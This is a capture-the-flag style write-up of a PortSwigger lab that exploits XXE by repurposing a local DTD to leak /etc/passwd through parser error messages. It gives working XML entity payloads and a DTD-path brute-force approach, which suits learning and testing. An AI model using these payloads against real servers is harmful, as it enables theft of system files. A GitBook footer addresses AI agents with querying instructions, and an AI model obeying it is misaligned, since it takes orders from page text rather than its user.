> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-xxe-labs/lab-6.md).

# lab-6

## Exploiting XXE to Retrieve Data by Repurposing a Local DTD

**Difficulty:** Expert

### Lab Description

This lab has a "Check stock" feature that parses XML input but does not display the result. Out-of-band interactions are blocked, so a classic external-DTD or Collaborator-based approach won't work here.

**Objective:** Trigger an error message containing the contents of the `/etc/passwd` file by referencing an existing DTD file already present on the server, and redefining one of its entities.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=2
```

Click **Check stock**, then intercept the request in Burp Suite. You'll see an XML body like this:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>3</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 2 — Identify a usable local DTD file**

Since out-of-band channels are blocked, the technique relies on referencing a DTD file that already exists on the server's filesystem (e.g. bundled with the OS or a installed library), then repurposing an entity defined inside it.

If the lab doesn't hint at a specific path, first confirm basic file read works:

```xml
<!DOCTYPE foo [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]>
```

Then send the request through Burp Intruder against a candidate list of well-known local DTD paths (see the [GitHub `dtd-finder` repo](https://github.com/GoSecure/dtd-finder) for a payload list of common system DTD locations across platforms). If the lab supplies a hint for the local DTD path, use that directly instead of brute-forcing.

**Step 3 — Build the repurposed-entity payload**

Once a valid local DTD path and an existing custom entity name inside it are identified, redefine that entity to chain in the classic "error-based" read-and-leak technique:

```xml
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///path/to/local.dtd">
  <!ENTITY % custom_entity '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///invalid/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>
```

Replace `/path/to/local.dtd` with the discovered DTD path, and `custom_entity` with the name of an entity already defined in that DTD that you are overriding.

**Step 4 — Send and confirm**

Submit the request. The parser loads the local DTD, your redefinition overrides its existing entity, and the chained parameter entities force a parsing error that leaks the contents of `/etc/passwd` in the error message.

### Conclusion

When out-of-band exfiltration is blocked, XXE can still be exploited by repurposing a DTD file that already exists on the target server. By overriding one of its internally defined entities, both internal and external entity declarations can be combined to trigger an error message that leaks sensitive file contents — without requiring any external network interaction.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-xxe-labs/lab-6.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.